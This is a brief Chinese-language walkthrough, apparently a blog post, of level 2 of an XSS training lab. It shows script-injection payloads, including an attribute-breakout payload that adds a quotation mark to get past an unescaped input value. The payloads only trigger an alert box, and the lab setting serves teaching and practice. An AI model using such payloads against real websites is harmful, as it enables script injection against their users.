当黑客就入门 XSS-Lab第二关

第一步：尝试，判断是否有XSS漏洞可以利用

第二部：尝试注入。

</h2><script>alert('Yes')</script><h2>

网页查到HTML使用的过滤函数为HtmlSpecialChars，其函数作用，是将预定义字符转化为html实体，使用Burp查看

构造Payload如下

html><script>alert('Yes')</script><

尝试该Payload发现仍然无法进行弹窗。
查看php文件
语句：
<input name=keyword value=”html”>#输入html构成的的语句
因此需要在htrml后添加**"**
新的Payload：

html"><script>alert('Yes')</script><